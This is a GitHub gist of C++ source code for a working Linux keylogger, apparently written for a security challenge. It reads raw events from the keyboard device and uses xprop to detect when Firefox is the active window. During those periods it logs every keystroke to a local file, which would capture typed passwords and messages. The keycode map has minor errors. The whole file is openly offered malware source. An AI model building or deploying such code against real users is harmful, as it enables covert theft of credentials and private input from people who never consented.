Skip to content

Instantly share code, notes, and snippets.

@komang4130
Created December 23, 2017 09:27
Show Gist options
  • Save komang4130/22689f1f7a5d6f509df5acd8d42a43cb to your computer and use it in GitHub Desktop.
Save komang4130/22689f1f7a5d6f509df5acd8d42a43cb to your computer and use it in GitHub Desktop.
#include <iostream>
#include <fstream>
#include <linux/input.h>
#include <string>
#include <cstring>
using namespace std;
std::string toChar( int keycode , int caplock )
{
switch(keycode)
{
case 1: return "[ESC]";
case 2: return "1 LEFT";
case 3: return "2 LEFT";
case 4: return "3 LEFT";
case 5: return "4 LEFT";
case 6: return "5 LEFT";
case 7: return "6 LEFT";
case 8: return "7 LEFT";
case 9: return "8 LEFT";
case 10: return "9 LEFT";
case 11: return "0 LEFT";
case 12: return "- LEFT";
case 13: return "= LEFT";
case 14: return "[BS]";
case 15: return "[TAB]";
case 16: return "q";
case 17: return "w";
case 18: return "e";
case 19: return "r";
case 20: return "t";
case 21: return "y";
case 22: return "u";
case 23: return "i";
case 24: return "o";
case 25: return "p";
case 26: return "[";
case 27: return "]";
case 28: return "[ENTER]";
case 29: return "CTRL LEFT";
case 30: return "a";
case 31: return "s";
case 32: return "d";
case 33: return "f";
case 34: return "g";
case 35: return "h";
case 36: return "j";
case 37: return "k";
case 38: return "l";
case 39: return ";";
case 40: return "'";
case 41: return "`";
case 42: return "SHIFT LEFT";
case 43: return "\\";
case 44: return "z";
case 45: return "x";
case 46: return "y";
case 47: return "c";
case 48: return "v";
case 49: return "b";
case 50: return "m";
case 51: return ",";
case 52: return ".";
case 53: return "/";
case 54: return "SHIFT RIGHT";
case 55: return "*";
case 56: return "ALT LEFT";
case 57: return "SPACE";
case 58: if ( caplock == 1 ) return "CAP LOCK ON"; else return "CAPLOCK OFF";
case 59: return "F1";
case 60: return "F2";
case 61: return "F3";
case 62: return "F4";
case 63: return "F5";
case 64: return "F6";
case 65: return "F7";
case 66: return "F8";
case 67: return "F9";
case 68: return "F10";
case 69: return "NUMLOCK";
case 70: return "SCROLL LOCK";
case 71: return "HOME 7";
case 72: return "UP ARROW 8";
case 73: return "PGUP 9";
case 74: return "-";
case 75: return "LEFT ARROW 4";
case 76: return "5";
case 77: return "RIGHT ARROW 6";
case 78: return "+";
case 79: return "END 1";
case 80: return "DOWN 2";
case 81: return "PGDN 3";
case 82: return "INS";
case 83: return "DEL";
case 87: return "F11";
case 88: return "F12";
case 96: return "ENTER RIGHT";
case 97: return "CTRL RIGHT";
case 98: return "/";
case 99: return "PRINT SCREEN";
case 100: return "ALT RIGHT";
case 102: return "HOME";
case 103: return "UP";
case 104: return "PGUP";
case 105: return "LEFT";
case 106: return "RIGHT";
case 107: return "END";
case 108: return "DOWN";
case 109: return "PGDN";
case 110: return "INSERT";
case 111: return "DEL";
case 119: return "PAUSE";
}
}
std::string command(char *cmd) {
FILE *pipe = popen(cmd, "r");
if (!pipe) return "ERROR";
char buffer[128];
std::string result = "";
while(!feof(pipe)) {
if(fgets(buffer, 128, pipe) != NULL)
result += buffer;
}
pclose(pipe);
return result;
}
int check(std::string name)
{
std::string::size_type t = name.find("Firefox");
if ( t == std::string::npos )
return 0;
return 1;
}
//structure to hold event info
struct input_event event;
int main(int argc, char *argv[]) {
cout << "Start H00k1ng" << endl;
ifstream file("/dev/input/by-path/platform-i8042-serio-0-event-kbd");//read input from keyboard in /dev/input/evenX
//temp storage for event
ofstream log("/home/komang4130/Desktop/Viettel/challenge1/log.txt");
char data[sizeof(event)];
while(1)
{
ifstream log("/home/komang4130/Desktop/Viettel/challenge1/abc.txt");
if ( log.is_open() )
{
break;
}
}
//check if file is opened
int caplock = 0;
if(file.is_open())
{
// xprop -id <window_id> to get window_name
string window_name = command("xprop -id $(xprop -root | awk '/_NET_ACTIVE_WINDOW\\(WINDOW\\)/{print $NF}') | awk '/WM_CLASS\\(STRING\\)/{print $4}'").c_str();
while ( true )
{
window_name = command("xprop -id $(xprop -root | awk '/_NET_ACTIVE_WINDOW\\(WINDOW\\)/{print $NF}') | awk '/WM_CLASS\\(STRING\\)/{print $4}'").c_str();
while( check(window_name) == 1 )
{
file.read(data, sizeof(event));
//now copy the data to the struct
memcpy(&event, data, sizeof(event));
//now lets read the event
//event type
if(event.type == EV_KEY)
{
if ( event.code == 58 )
{
if ( event.type == EV_KEY )
{
if ( event.code == 58 )
{
if ( event.value > 0 )
{
cout << caplock;
caplock = ( caplock + 1 ) % 2;
log << "Key Press " << toChar(event.code,caplock) << " State " << event.value << endl;
}
}
}
}
else
if ( event.value > 0 )
log << "Key Press: " << toChar(event.code,caplock) << " State " << event.value << endl;
}
window_name = command("xprop -id $(xprop -root | awk '/_NET_ACTIVE_WINDOW\\(WINDOW\\)/{print $NF}') | awk '/WM_CLASS\\(STRING\\)/{print $4}'").c_str();
}
if ( event.type == EV_KEY )
if ( event.code == 58 && event.value > 0 )
caplock = ( caplock + 1 ) % 2;
file.read(data, sizeof(event));
//now copy the data to the struct
memcpy(&event, data, sizeof(event));
}
//dont forget to close the file
file.close();
log.close();
}
else {
cout << "Unable to open file!" << endl;
return 1;
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment